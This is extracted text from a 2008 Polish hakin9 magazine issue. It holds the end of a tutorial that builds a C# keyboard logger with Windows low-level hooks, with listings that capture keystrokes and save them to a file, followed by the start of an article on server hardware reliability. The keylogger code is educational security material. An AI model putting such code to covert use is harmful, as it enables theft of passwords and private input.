czony, powodując uaktywnienie trybu 
pisania dużymi literami. Natomiast po 
wyłączeniu  tego  trybu  polu  zostanie 
przypisana  wartość  false.  Ostatnim 
polem będzie kod komunikatu syste-
mu Windows, który jest generowany 
w momencie wciśnięcia niesystemo-
wego klawisza klawiatury.

Możemy  teraz  przejść  do  napisa-

nia  dwóch  prywatnych  metod,  które 
wykorzystywać  będzie  funkcja  moni-
torująca.  Pierwsza  z  nich  będzie  słu-
żyć  do  zapisu  określonego  znaku 
w  wybranym  miejscu.  Na  początku 
musimy  dodać  przestrzeń  nazw  Sys-

tem.IO.  Kod  metody  jest  pokazany 
na  Listingu  4.Na  początku  następuje 
sprawdzenie, czy wybrany plik już ist-
nieje. Jeżeli tak, dopisujemy do niego 
kolejne  dane.  Jeżeli  nie  istnieje,  two-
rzymy  go  i  zapisujemy  w  nim  dane. 
Warto zwrócić uwagę, że dzięki użyciu 
słowa  kluczowego 

using

  nie  musimy 

się martwić o zamknięcie pliku. 

Druga metoda pozwoli nam na od-

czytanie  z  przechwyconego  komu-
nikatu  znaku  odpowiadającego  wci-
śniętemu  klawiszowi.  Jako  parametr 
przyjmuje ona kod wirtualnego klawi-
sza. Funkcja zwraca odczytany znak. 

Jej  definicja  jest  pokazana  na  Listin-
gu 5. Działanie tej metody sprowadza 
się do użycia dwóch wcześniej zaim-
portowanych  funkcji  WinAPI  z  odpo-
wiednimi parametrami. Możemy teraz 
przejść do meritum sprawy, czyli napi-
sania definicji funkcji monitorującej (Li-
sting  6).  Funkcja  będzie  przyjmować 
następujące parametry:

•  code

 – określa kod, na podstawie 

którego funkcja monitorująca prze-
twarza  otrzymany  komunikat.  Je-
żeli parametr ten jest mniejszy od 
zera, to wymagane jest, aby funk-
cja monitorująca wywołała funkcję 

CallNextHookEx

 i zwróciła wartość 

zwracaną przez tę funkcję,

•  wParam

 – określa identyfikator ko-

munikatu klawiatury,

•  lParam

 – reprezentuje wskaźnik do 

struktury  KBDLLHOOKSTRUCT
Aby móc korzystać z tej struktury, 
musimy ją przedtem zdefiniować. 
W tym celu przed definicją klasy 
dodajemy kod z Listingu 6.

Z naszego punktu widzenia najważ-
niejsze pole tej struktury to 

vkCode

Posłuży  nam  ono  jako  parametr 
przekazywany  do  funkcji 

ToAscii

Parametry 

code

wParam

 oraz 

lParam

 

są  odpowiednio  drugim,  trzecim 
i  czwartym  parametrem  funkcji 

CallNextHookEx

.

Na  początku  metody  sprawdza-

my, czy nastąpiło zdarzenie wciśnię-
cia  klawisza  niesystemowego  oraz 
czy parametr 

code

 ma wartość więk-

szą bądź równą zero. Używamy sta-
tycznej metody 

PtrToStructure

 klasy 

Marshal

  w  celu  zamiany  parametru 

lParam

  na  strukturę  KBDLLHOOK-

STRUCT.  Metoda  ta  jako  pierwszy 
parametr przyjmuje wskaźnik do nie-
zarządzanego bloku pamięci (wskaź-
niki na platformie .NET są reprezen-
towane przez strukturę 

IntPtr

). Dru-

gi parametr to typ obiektu, który ma 
utworzyć.  Wartością  zwracaną  jest 
nowo utworzony obiekt klasy 

Object

Zawiera on dane wskazywane przez 
wskaźnik  przekazany  jako  pierwszy 
parametr. Zwracaną wartość rzutuje-
my jeszcze na strukturę KBDLLHO-
OKSTRUCT
. Pierwsza instrukcja wa-
runkowa 

if

  ustala  wielkość  znaków 

Listing 7. 

Funkcja monitorująca

public static

 

IntPtr MonitorFunction

(

int

 

code

IntPtr wParam

IntPtr lParam

)

{

    

try

    

{

        

if

 

(

wParam

.

ToInt64

()

 

==

 

WM_KEYDOWN

 

&&

 

code

 

>=

 

0

)

        

{

            

KBDLLHOOKSTRUCT

 

hookStruct

 

=

                                    

             

(

KBDLLHOOKSTRUCT

)

Marshal

.

PtrToStructure

(

l

Param

typeof

(

KBDLLHOOKSTRUCT

));

           

 // Shift wciśnięty ??

            

ShiftDown

 

=

 

((

GetKeyState

(

VK_SHIFT

)

 

&

 

0x80

)

 

==

 

0x80

 ? 

true

 

:

 

false

);

           

 // Tryb pisania dużymi literami włączony ??

            

CapsLockDown

 

=

 

(

GetKeyState

(

VK_CAPITAL

)

 

!=

 

0

 ? 

true

 

:

 

false

);

            

caughtChar

 

=

 

GetChar

(

hookStruct

.

vkCode

);

             

if

 

((

CapsLockDown

 ^ 

ShiftDown

)

 

&&

 

Char

.

IsLetter

(

caughtChar

))

                

caughtChar

 

=

 

Char

.

ToUpper

(

caughtChar

);

            

if

 

((

caughtChar

 

==

 

0x0d

 

&&

 

hookStruct

.

vkCode

 

==

 

0x0d

)

 

||

 

(

caughtChar

 

>

 

0x20

 

&&

 

caughtChar

 

<=

 

0x7e

)

 

||

 

(

caughtChar

 

==

 

0x20

 

&&

 

hookStruct

.

vkCode

 

==

 

0x20

))

                

SaveChar

(

caughtChar

path

);

        

}

    

}

 

catch

 

{}

    

return

 

CallNextHookEx

(

IntPtr

.

Zero

code

wParam

lParam

);

}

Listing 8. 

Importowanie funkcji WinAPI

[

DllImport

(

"user32.dll"

)]

private

 

static

 

extern

 

IntPtr

 

SetWindowsHookEx

(

int

 

code

,                     

                                

HookProc

 

func

IntPtr

 

hInstance

int

 

threadID

);

[

DllImport

(

"user32.dll"

)]

private

 

static

 

extern

 

bool

 

UnhookWindowsHookEx

(

IntPtr

 

hhk

);

[

DllImport

(

"Kernel32.dll"

)]

private

 

static

 

extern

 

IntPtr

 

GetModuleHandle

(

string

 

moduleName

);

Listing 9. 

Definicja pól klasy HookClass

private

 

delegate

 

IntPtr

 

HookProc

(

int

 

code

IntPtr

 

wParam

,

IntPtr

 

lParam

);

private

 

static

 

HookProc

 

hookProc

;

private

 

IntPtr

 

result

;

private

 

const

 

int

 

WH_KEYBOARD_LL

 

=

 

0x0d

;

background image

C#.NET – podsłuchiwanie klawiatury

hakin9 Nr 01/2008

www.hakin9.org

47

będących  literami.  Druga  konstruk-
cja 

if 

dba, aby tylko wybrane znaki 

były zapisywane do pliku.

Biblioteka DLL została już stwo-

rzona.  Kolejnym  krokiem  będzie 
stworzenie projektu, który użyje tej 
biblioteki w celu monitorowania kla-
wiatury.

Instalujemy funkcję 

monitorującą

Zaczynamy  od  stworzenia  nowego 
projektu  Windows  Forms  Applica-
tion
.  Nadajemy  mu  nazwę  TestHo-
oks
. Do projektu dodajemy nową kla-
sę  przez  wybranie  opcji  Project  –> 
Add Class. W polu Name wpisujemy 
HookClass.  W  klasie  tej  umieścimy 
kod umożliwiający uruchomienie mo-
nitorowania klawiatury. Forma Form1 
w  tym  projekcje  będzie  symulowa-
ła pewną aplikację, w której istnieje 
możliwość użycia opcji monitorowa-
nia klawiatury. Możemy teraz przejść 
do  napisania  definicji  klasy  HookC-
lass
. Zaczniemy od importu potrzeb-
nych funkcji WinAPI (Listing 8).

Haki  są  instalowanie  przez  wy-

wołanie  funkcji 

SetWindowsHookEx

Parametry tej funkcji to:

•  

idHook

  –  określa  typ  haka,  jaki 

chcemy zainstalować,

•  

func

 – delegacja dla zarejestro-

wanej funkcji monitorującej,

•  

hInstance

  –  uchwyt  do  bibliote-

ki  DLL,  która  zawiera  definicję 
funkcji monitorującej,

•  

threadID

  –  określa  identyfikator 

wątku, z którym ma być związa-
na funkcja monitorująca.

Jeżeli  funkcja  ta  zadziała  popraw-
nie,  zwróci  uchwyt  do  funkcji  mo-
nitorującej.  W  przeciwnym  wypad-
ku zwróci wartość 

null

. Gdy już nie 

chcemy przechwytywać wybranych 
komunikatów,  możemy  odinstalo-
wać funkcję monitorującą. Służy do 
tego  funkcja 

UnhookWindowsHookEx

Jej  parametr  to  uchwyt  do  funkcji 
monitorującej,  który  otrzymujemy 
jako wartość zwracaną przez funk-
cję 

SetWindowsHookEx

. Jeżeli funkcja 

zadziała poprawnie, zwracana war-
tość jest niezerowa. W przeciwnym 
wypadku  zwracaną  wartością  jest 
zero. Funkcja 

GetModuleHandle

 uzy-

skuje uchwyt do wybranego modu-
łu, którego nazwę przekazujemy ja-
ko parametr (

plik

 .dll lub .exe). Je-

żeli  funkcja  zadziała  prawidłowo, 
wówczas  zwracaną  wartością  jest 
uchwyt do żądanego modułu.

W  kolejnym  kroku  zdefiniujemy 

delegację  dla  funkcji  monitorują-
cej.  Jej  sygnatura  i  typ  muszą  za-
tem  być  zgodne  z  sygnaturą  i  ty-
pem zwracanym funkcji monitorują-
cej. Po zdefiniowaniu delegacji two-
rzymy jej referencję. Warto podkre-
ślić, że obiekt delegacji musi być za-
deklarowany  jako  static.  Potrzeb-
ne  nam  będzie  także  pole,  w  któ-
rym  zapiszemy  uchwyt  do  funkcji 
monitorującej zwracany przez funk-
cję 

SetWindowsHookEx

.  Nazwiemy  je 

result

. Ostatnim polem będzie stała 

oznaczająca typ haka, jaki chcemy 
zainstalować. Nasza funkcja ma za 
zadanie  przechwytywać  komunika-
ty klawiatury, więc parametr ten bę-
dzie miał wartość 0x0d i nazwiemy 
go 

WH _ KEYBOARD _ LL

. Kroki te przed-

stawia Listing 9. 

Teraz  zajmiemy  się  napisaniem 

prywatnej metody 

GetHookProc

, dzię-

ki  której  stworzymy  obiekt  delega-
cji 

HookProc

  z  zarejestrowaną  funk-

cją monitorującą. W projekcie przyj-
mujemy, że biblioteka DLL nosi na-
zwę TestDll, znajduje się w tym sa-
mym katalogu, co plik wykonywalny 
oraz że nazwa funkcji monitorującej 
to MonitorFunction. Kod metody jest 
przedstawiony na Listingu 10.

Listing 10. 

Metoda GetHookProc

private

 

bool

 

GetHookProc

()

{

    

try

    

{

        

string

 

sc

 

=

 

Environment

.

CurrentDirectory

 

+

 

"

\\

"

 

+

 

"TestDll.dll"

;

        

Assembly

 

a

 

=

 

Assembly

.

LoadFrom

(

sc

);

        

Type

[]

 

tab

 

=

 

a

.

GetExportedTypes

();

        

MethodInfo

 

methodInfo

 

=

 

null

;

        

foreach

 

(

Type

 

t

 

in

 

tab

)

        

{

            

methodInfo

 

=

 

t

.

GetMethod

(

"MonitorFunction"

);

        

}

        

hookProc

 

=

 

(

HookProc

)

Delegate

.

CreateDelegate

(

typeof

(

HookProc

)

methodInfo

);

        

return

 

true

;

    

}

    

catch

    

{

        

return

 

false

;

    

}

}

W Sieci

•   http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge – artykuł opisujący 

haki w systemie Windows,

•   http://msdn2.microsoft.com/en-us/library/ms997537.aspx – kolejny artykuł opisu-

jący haki w systemie Windows,

•   http://msdn2.microsoft.com/en-us/express/aa975050.aspx  –  witryna  Microsoft, 

skąd można pobrać środowisko Visual C# 2005 Express Edition,

•   http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platfor-

my .NET i nie tylko. Naprawdę godny polecenia,

•   http://www.codeguru.pl – polska strona dla programistów .NET,
•   http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszyst-

kich klas, własności i metod, jakie zawiera platforma .NET wraz z przykładowymi 
programami.

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

48

W metodzie tej mamy zaprezen-

towany  jeden  ze  sposobów  impor-
towania  metod  z  bibliotek  łączenia 
dynamicznego,  stworzonych  z  wy-
korzystaniem  Visual  C#.  Aby  móc 
to zrobić, musimy dodać do projek-
tu przestrzeń nazw System.Reflec-

tion. Na początku tworzymy zmien-
ną typu 

string

, która zawiera ścież-

kę do pliku DLL, z którego chcemy 
importować metodę. Następnie two-
rzymy  obiekt  klasy 

Assembly

,  repre-

zentujący tzw. pakiet kodu (ang. as-
sembly
).  Pakietem  kodu  może  być 

zarówno  biblioteka  łączona  dyna-
micznie,  jak  i  plik  wykonywalny. 
Obiekt  klasy 

Assembly

  jest  tworzo-

ny przez wywołanie statycznej me-
tody tej klasy – 

LoadFrom

. Jej para-

metrem jest ścieżka do pakietu ko-
du,  który  chcemy  załadować.  Me-
toda  zwraca  nam  nowo  utworzo-
ny  obiekt  klasy 

Assembly

.  Kolej-

nym  krokiem  jest  wywołanie  meto-
dy 

GetExportedTypes

 klasy 

Assembly

Metoda  ta  zwraca  publiczne  typy 
znajdujące  się  w  określonym  pa-
kiecie kodu, które użytkownik może 
wykorzystać  w  swojej  zewnętrznej 
aplikacji. Uzyskujemy w ten sposób 
tablicę obiektów klasy 

Type

. Następ-

nie deklarujemy pustą referencję do 
obiektu klasy 

MethodInfo

. Teraz mu-

simy  przeszukać  nasze  typy  w  ce-
lu odnalezienia typu będącego kla-
są zawierającą definicję funkcji mo-
nitorującej.  Najlepiej  do  tego  celu 
nadaje się pętla 

foreach

. Wewnątrz 

pętli używamy metody 

GetMethod

 do 

sprawdzenia, czy dany typ zawiera 
definicję  funkcji  monitorującej.  Je-
żeli  znajdziemy  taki  typ,  wówczas 

GetMethod

  zwraca  nam  obiekt  typu 

MethodInfo

, w przeciwnym wypadku 

będzie to wartość 

null

.

Pora teraz na stworzenie obiek-

tu delegacji. Wykorzystamy do tego 
statyczną  metodę  klasy 

Delegate

 

o  nazwie 

CreateDelegate

,  która 

przyjmuje  dwa  parametry.  Pierw-
szym  z  nich  jest  typ  delegacji,  ja-
ki  ma  zostać  stworzony.  Drugi  to 
obiekt  typu 

MethodInfo

.  Aby  uzy-

skać  typ  naszej  delegacji,  używa-
my  operatora 

typeof

.  Ponieważ 

metoda 

CreateDelegate

  zwraca 

obiekt  typu 

Delegate

,  musimy  rzu-

tować zwracany typ na typ naszej 
delegacji.  Metoda  zwraca  wartość 
różną  od  zera,  gdy  uda  się  utwo-
rzyć  delegację  z  zarejestrowaną 
funkcją monitorującą, w innym wy-
padku zwraca zero.

Możemy teraz przejść do napisa-

nia  publicznej  metody 

InstallHook

która posłuży nam do zainstalowa-
nia  funkcji  monitorującej.  Definicję 
tej metody przedstawia Listing 11.

Warto zwrócić uwagę, że iden-

tyfikator wątku równa się 0. Dzieje 
się tak, ponieważ chcemy powiązać 

Listing 11. 

Metoda instalująca oraz usuwająca funkcję monitorującą

public bool

 

InstallHook

()

{

    

try

    

{

        

if

 

(

GetHookProc

())

        

{

            

result

 

=

 

SetWindowsHookEx

(

WH_KEYBOARD_LL

hookProc

GetModuleHan

dle

(

"TestDll.dll"

)

0

);

            

return

 

true

;

        

}

        

else

            

return

 

false

;

    

}

    

catch

    

{

        

return

 

false

;

    

}

}

public

 

void

 

CloseHook

()

{

    

UnhookWindowsHookEx

(

result

);

}

Listing 12. 

Definicja klasy Form1

using

 

System

;

using

 

System

.

Collections

.

Generic

;

using

 

System

.

ComponentModel

;

using

 

System

.

Data

;

using

 

System

.

Drawing

;

using

 

System

.

Text

;

using

 

System

.

Windows

.

Forms

;

namespace

 

TestHooks

{

    

public

 

partial

 

class

 

Form1

 

:

 

Form

    

{

        

private

 

HookClass

 

hookClass

;

        

private

 

bool

 

hookInstallDone

 

=

 

true

;

        

        

public

 

Form1

()

        

{

            

InitializeComponent

();

            

hookClass

 

=

 

new

 

HookClass

();

            

if

(!

hookClass

.

InstallHook

())

                  

hookInstallDone

 

=

 

false

;

        

}

    

        

private

 

void

 

OnClosing

(

object

 

sender

EventArgs

 

e

)

        

{

            

if

(

hookInstallDone

)

 

    

hookClass

.

CloseHook

();

        

}

    

}

}

background image

naszą  funkcję  monitorującą  z  wszystkimi  istniejącymi 
wątkami. Odinstalowanie funkcji monitorującej odbywa 
się przez wywołanie publicznej metody 

CloseHook

, któ-

rej definicję przedstawia również Listing 11.

Możemy teraz przejść do stworzenia obiektu naszej 

klasy. Przechodzimy do widoku formy Form1 i naciska-
my F7. Przypominamy, że forma reprezentuje w naszym 
projekcie pewną aplikację, w której chcemy mieć możli-
wość użycia funkcji monitorującej. Jej kod przedstawia 
Listing 12.

W konstruktorze Form1 tworzymy nowy obiekt kla-

sy 

HookClass

  i  wywołujemy  funkcję  monitorującą.  Mo-

nitorowanie powinno zostać zatrzymane w momencie, 
gdy aplikacja skończy działanie. W związku z tym dla 
zdarzenia 

FormClosing

 dodajemy metodę zdarzeniową, 

która  wyłączy  nasz  hak.  Pole 

hookInstallDone

  zabez-

piecza przed próbą odinstalowania funkcji monitorują-
cej, gdy nie została ona wcześniej zainstalowana.

Podsumowanie

Artykuł  ten  opisuje  użycie  haków  systemu  Windows 
w celu podsłuchiwania klawiatury. Jednak mechanizm 
haków nie został stworzony po to, żeby umożliwić pi-
sanie  narzędzi  hakerskich.  Haki  nadają  się  świetnie 
wszędzie tam, gdzie zachodzi potrzeba nadzorowania 
jednej aplikacji przez inną (np. tryb debuggera, apli-
kacje szkoleniowe). Jeśli nie podoba nam się działa-
nie  jakieś  aplikacji  w  związku  z  konkretnym  zdarze-
niem,  możemy  napisać  własną  metodę  zdarzeniową 
podpiąć się z nią za pomocą mechanizmu haków do 
aplikacji. Można też napisać własny hak, który będzie 
w  stanie  wyłączyć  inne  haki.  Jak  widać,  możliwości 
jest wiele – ale ta swoboda stanowi jednocześnie du-
że zagrożenie, co – mamy nadzieję – pokazał ten ar-
tykuł. l

O autorach

Sławomir  Orłowski  –  z  wykształcenia  fizyk.  Obecnie  jest 

doktorantem na Wydziale Fizyki, Astronomii i Informatyki Sto-
sowanej Uniwersytetu Mikołaja Kopernika w Toruniu. Zajmuje 
się  symulacjami  komputerowymi  układów  biologicznych  (dy-
namika  molekularna)  oraz  bioinformatyką.  Programowanie 
jest nieodzowną częścią jego pracy naukowej i dydaktycznej. 
Ma doświadczenie w programowaniu w językach C, C++, Del-
phi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje 
od 2002 roku. Jest autorem książek informatycznych.
Strona domowa: http://www.fizyka.umk.pl/~bigman/.
Kontakt z autorem: bigman@fizyka.umk.pl.
Maciej Pakulski – absolwent studiów inżynierskich na kierun-

ku Fizyka Techniczna Wydziału Fizyki, Astronomii i Informa-
tyki Stosowanej Uniwersytetu Mikołaja Kopernika w Toruniu. 
Obecnie na studiach magisterskich. Programowaniem zajmu-
je się od 2004 roku. Potrafi programować biegle w językach 
C/C++, Java, VHDL. Programowaniem w języku C#, a także 
platformą .NET zajmuje się od 2006 roku.
Kontakt z autorem: mac_pak@interia.pl.

background image

www.hakin9.org

hakin9 Nr 01/2008

50

Obrona

S

erwery to komputery świadczące usłu-
gi sieciowe (w firmie i poza nią) klien-
tom bądź użytkownikom oraz wykonu-

jące specjalne zadania, do których zostały za-
projektowane.  Dobrym  przykładem  mogą  być 
tutaj komputery PC, spełniające rolę interneto-
wego serwera WWW, serwera pocztowego lub 
dostępowego, firewalla czy obsługujące firmo-
wy intranet. Od nich zależy sprawne działanie 
każdej sieci, dlatego przy ich budowaniu stawia 
się przede wszystkim na niezawodność i bez-
pieczeństwo zgromadzonych na nich danych.

Przede wszystkim zdecydowana większość 

serwerów musi pracować 24 godziny na dobę 
przez 7 dni w tygodniu i wszystkie podzespo-
ły muszą być niezawodne. Narażone na uszko-
dzenia są zwłaszcza komponenty zawierające 
liczne elementy mechaniczne, przede wszyst-
kim twarde dyski, ale również wentylatory czy 
zasilacze. 

Firmy  wykorzystujące  systemy  e-bizneso-

we muszą zapewnić stały wgląd do swoich za-
sobów – nie tylko pracownikom, ale również ko-
operantom  i  potencjalnym  klientom.  W  takim 
przypadku  nie  ma  mowy  o  jakimkolwiek  prze-
stoju.  Każda  chwila,  w  której  niedostępna  jest 
na przykład firmowa witryna WWW, może skut-

kować utratą klienta, a co za tym idzie – zmniej-
szeniem obrotów. Dlatego przy zakupie serwera 
nie należy się kierować tylko wydajnością urzą-
dzenia,  ale  również  szeregiem  aspektów  doty-
czących ochrony i bezpieczeństwa danych oraz 
zapleczem technicznym gwarantowanym przez 
dostawcę lub producenta. Takie urządzenia nie 
należą  do  tanich.  Wreszcie,  gdyby  doszło  jed-
nak do awarii, konstrukcja serwera musi zapew-
niać jak najszybszą możliwość wymiany uszko-
dzonego  podzespołu.  Równie  istotne  jest,  aby 
serwer pozwalał w łatwy sposób wykonywać ko-
pie zapasowe danych na wszelkie przewidziane 
i nieprzewidziane wypadki. 

Fizyczna ochrona 

farm serwerów

Rafał Podsiadły

stopień trudności

Pisze się wiele o zagrożeniach i lukach systemowych, a nikt nie 

pamięta o urządzeniach, które pełnią ważną rolę w ochronie 

serwera, ani o zagrożeniach związanych z mechaniką.

Z artykułu dowiesz się

•   jak zabezpieczyć swój serwer, 
•   jakich narzędzi użyć, 
•   jakie  są  standardy  obowiązujące  w  tak  zwa-

nych farmach serwerów.

Co powinieneś wiedzieć

•   znać podstawy systemów operacyjnych, 
•   znać podstawy sieci i technik komputerowych.

background image

Serwery – co im zagraża, jak się zabezpieczyć

hakin9 Nr 01/2008

www.hakin9.org

51

W  przypadku  małego  serwera 

zbudowanego  na  komputerze  sta-
cjonarnym (zdecydowanie nie pole-
cam  tego  typu  rozwiązania,  jednak 
takie  istnieją),  uszkodzenie  sprzę-
tu sprowadza się do pójścia do skle-
pu  i  wymiany  wadliwego  elementu 
na  nowy.  Zakres  czasowy  napra-
wy  to  kilka  godzin.  W  sytuacji,  gdy 
poważnie  podchodzimy  do  bezpie-
czeństwa danych, szukamy bardziej 
wyrafinowanych  rozwiązań.  Urzą-
dzenie, które chcielibyśmy postawić 
w naszej firmie, ma spełniać wyma-
gania określone w dalszej części te-
go artykułu. Powinno być bezpiecz-
ne i niezawodne. Obecnie na rynku 
jest  duży  wybór  takich  rozwiązań, 
jedynie  zasób  gotówki,  jaki  chce-
my  przeznaczyć  na  ten  cel,  decy-
duje o jego funkcjonalności. Gotowe 
serwery są profesjonalnie przygoto-
wane do pracy,  wykonane z tward-
szych  materiałów,  a  odpowiednio 
dobrane  układy  scalone  zapewnia-
ją niezawodną pracę przez dłuższy 
okres  czasu.  Mimo  to,  kupując  taki 
serwer, musimy liczyć się z ewentu-
alnym zagrożeniem, jakim jest awa-
ria. Gdyby jednak nastąpiła, dobrze 
by  było  przewidzieć  taką  sytuację 
i ograniczyć czas przestoju serwera 
do  niezbędnego  minimum.  Jednym 
ze sposobów zabezpieczeń jest po-
siadanie przy sobie kompletu strate-
gicznych części, bez których serwer 
nie  może  zostać  uruchomiony,  jed-
nakże  podzespoły  są  drogie  i  nikt 
nie  stosuje  takiej  praktyki.  Z  dru-
giej  strony,  wiemy,  że  z  dostępno-
ścią  części  zapasowych  u  produ-
centa  bywa  różnie  –  awaria  może 
trwać do kilku dni. Czy możemy so-
bie  na  to  pozwolić?  Byłoby  to  roz-
wiązanie  bardzo  niebezpieczne  dla 
firmy. Aby obronić się przed taka sy-
tuacją,  podpisujemy  umowę  doty-
czącą usług serwisowych. Gdy ku-
pimy nowy sprzęt, usługa ta jest ob-
jęta  gwarancją  producenta.  Wyku-
pienie  serwera  w  Data  Center  za-
pewnia  nam  kilka  źródeł  dostępu 
do Internetu, jednak naprawy musi-
my wykonać sami, na własny koszt. 
Dopiero dzierżawa serwera zapew-
nia  odpowiedni  standard  wymiany 
uszkodzonych  podzespołów.  Minu-

sem  posiadania  takiej  dzierżawy 
są ograniczenia w fizycznym dostę-
pie  do  serwera,  często  zdarza  się, 
że jest on ograniczony do kilku go-
dzin dziennie.

W  profesjonalnych  serwerach 

dąży się do jak największej integra-
cji  kilku  niezbędnych  podzespołów 
z  płytą  główną.  Za  umieszczeniem 
karty  graficznej,  sieciowej  i  kontro-
lera  SCSI  bezpośrednio  na  płycie 
przemawiają  dwa  argumenty.  Po 
pierwsze,  są  to  elementy  w  zasa-
dzie  rzadko  podlegające  wymianie 
podczas  eksploatacji,  a  niezbędne 
do funkcjonowania serwera. Po dru-
gie, zwiększa się liczba dostępnych 
gniazd na karty rozszerzeń, umożli-
wiając w ten sposób rozbudowę kon-
figuracji  serwera  o  kolejne  kompo-
nenty,  np.  kontroler  RAID,  modem 
lub dodatkową kartę sieciową.

Z kolei najprostszym sposobem 

zwielokrotnienia wydajności maszy-
ny jest dołożenie kolejnej jednostki 
obliczeniowej  –  procesora.  Czę-
sto płyta główna umożliwia montaż 
drugiej i następnych jednostek cen-
tralnych.  Jeśli  okaże  się,  że  nasz 
serwer  jest  już  za  słaby,  wówczas 
wystarczy  dołożyć  kolejny  proce-
sor i problem zostaje (przynajmniej 
na jakiś czas) rozwiązany. Jednym 
z  podstawowych  zadań  serwera 

jest  przechowywanie  i  udostępnia-
nie  użytkownikom  różnych  baz  da-
nych i plików. Aby było to możliwe, 
każdy serwer musi być wyposażony 
w jeden lub kilka dysków twardych. 
Kluczową kwestią jest integralność 
i  bezpieczeństwo  przechowywa-
nych  danych.  W  niektórych  ser-
werach  zasada  ta  realizowana  jest 
za  pomocą  kontrolera  RAID  (Re-
dundant  Array  of  Independent  Di-
sks
)  oraz  macierzy  umożliwiają-
cej  wymianę  dysków  na  gorąco 
– hot swap. Dzięki temu można łą-
czyć  dyski  twarde  w  większe  ze-
społy  (macierze)  dla  zwiększenia 
wydajności lub pojemności systemu 
pamięci  dyskowej  bądź  uodpornie-
nia go na ewentualne awarie jedne-
go, czy nawet kilku dysków. Stosu-
jąc niektóre warianty RAID, można 
spełnić oba te założenia.

Mogłoby się wydawać, że w więk-

szości  serwerów  montowane  są 
dyski  SCSI.  Tymczasem  w  przy-
padku  tanich  serwerów  przezna-
czonych  dla  małych  firm  najczę-
ściej  instalowane  są  dyski  Se-
rial  ATA.  Ma  to  swoje  uzasadnie-
nie  przede  wszystkim  w  cenie  te-
go  typu  maszyn.  Dyski  Serial  ATA 
wciąż są dużo tańsze niż konkuren-
cja  z  interfejsem  SCSI.  Niestety, 
w  serwerach,  w  których  kluczową 

Rysunek 1. 

Płyta główna

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

52

rolę  odgrywa  podsystem  dyskowy, 
nadal  królują  kontrolery  SCSI  – 
i to z szybkim interfejsem Ultra 320 
SCSI
, charakteryzującym się moż-
liwością przesyłania danych z pręd-
kością  dochodzącą  do  320  MB/s. 
Kolejną  zaletą  interfejsu  SCSI  jest 
możliwość obsługi aż 32 urządzeń 
(np. dysków twardych).

Wnętrze serwera

Rozmieszczenie  urządzeń  –  funk-
cjonalna,  przestronna  i  bezpieczna 
obudowa  serwera  to  rzecz  bardzo 
istotna.  Musi  zapewniać  doskonałe 
warunki pracy podzespołom, a w ra-
zie  ich  awarii  pozwalać  na  jak  naj-
szybszą naprawę. Wszystkie układy 
obliczeniowe  powinny  posiadać  ra-
diatory. Na pamięć RAM jest prze-
ważnie  umieszczanych  6-8  slotów, 
pakowanych  po  2GB  i  pracujących 
w technologii DDR-2. Kontroler pa-
mięci  posiada  układy  odpowiada-
jące  za  jej  skanowanie  w  celu  wy-
krywania błędów. Na płycie głównej 
powinna znajdować się także karta 
graficzna. Takie kontrolery jak IDE, 
SCSI,  SATA,  wbudowane  są  stan-
dardowo,  pozwalając  podłączyć 
urządzenia  pracujące  z  większa 
szybkością, niż dostępna w kompu-
terach domowych. Wbudowany jest 
również układ RAID.

Procesory  i  pamięć  nie  powin-

ny  być  zasłonięte  przez  inne  pod-
zespoły, np. przez zasilacz. Przydat-
nym dodatkiem są specjalne zatrza-
ski mocujące karty rozszerzeń. Ge-
neralnie,  im  mniej  śrubek  potrzeba 
do  zmontowania  serwera,  tym  jego 
późniejsze utrzymanie czy rozbudo-
wa będą łatwiejsze. Do zalet niewąt-
pliwie  należy  bardzo  łatwy  dostęp 
do dysków i nadmiarowe, łatwo wy-
mienialne zasilacze. Także chłodze-
nie powinno być oparte o wentylato-
ry umocowane np. w styropianowym 
bloku  (choć  pewną  wadą  może  być 
łatwy dostęp kurzu do wnętrza obu-
dowy). Jak widać, do zaprojektowa-
nia dobrej obudowy serwera należy 
przemyśleć każdy szczegół.

Płyta  główna  –  większość  pro-

ducentów  decyduje  się  na  pełną  in-
tegrację z płytą główną serwera naj-
większej liczby podzespołów. Przede 

wszystkim  gwarantuje  to  całkowi-
tą  zgodność  użytych  komponentów. 
Ewentualne  problemy  ze  zgodno-
ścią mogłyby spowodować niestabil-
ną pracę serwera. Po drugie, pozwa-
la to zaoszczędzić miejsce w obudo-
wie  i  poprawia  cyrkulację  powietrza. 
Po  trzecie,  integracja  oznacza  niż-
sze koszty zakupu serwera. Najczę-
ściej z płytą główną zintegrowana zo-
staje karta graficzna. Prawie zawsze 
wykorzystywane są dość proste ukła-
dy wyprodukowane przez ATI lub S3, 
wykorzystujące 32 MB pamięci RAM, 
która nie jest współdzielona z serwe-
rem. W niektórych serwerach dodano 
złącze  AGP,  pozwalające  zainstalo-
wać inną kartę graficzną. Wbudowa-
ne kontrolery SCSI (Ultra 320 SCSI
służą przede wszystkim do podłącze-
nia twardych dysków – jeśli w serwe-
rze nie został zainstalowany dodatko-
wy kontroler, z lepszymi parametrami. 
Prawie  każda  płyta  główna  serwe-
ra jest również wyposażona w zinte-
growaną kartę sieciową 10/100Mb/s, 
a nawet 1Gb/s. W nowych, serwero-
wych  płytach  głównych  instalowane 
są też złącza PCI Express o przepu-
stowości  do  16GB/s,  przeznaczone 
dla  kontrolerów  SCSI  następnej  ge-
neracji i kart sieciowych 10Gb/s.

•   chipset powinien być kompatybil-

ny ze standardem SMBus, który 
definiuje zasady zdalnego zarzą-
dzania serwerem,

•   w  pamięci  informacja  elektro-

niczna  przechowywana  jest 
w  postaci  ciągu  zer  i  jedynek. 
Gdy  dane  są  przesyłane  po-
między  różnymi  podzespołami 
(np. pamięcią i procesorem), za-
wsze  istnieje  niewielkie  praw-
dopodobieństwo,  że  dojdzie  do 
przekłamania.  Przykładowo,  na 
skutek  zakłóceń  elektrostatycz-

nych,  zero  zostanie  odczytane 
jako jedynka. W zwykłym pece-
cie  spowoduje  to  mniej  lub  bar-
dziej poważne zakłócenia w pra-
cy (łącznie z zawieszeniem się). 
W  przypadku  serwera  jest  to 
niedopuszczalne.  Aby  uniknąć 
takich  problemów,  do  przesy-
łanych  danych  dodaje  się  spe-
cjalne  wartości  kontrolne,  które 
razem  z  danymi  tworzą  ustalo-
ne  wzorce.  Jeśli  system  ECC 
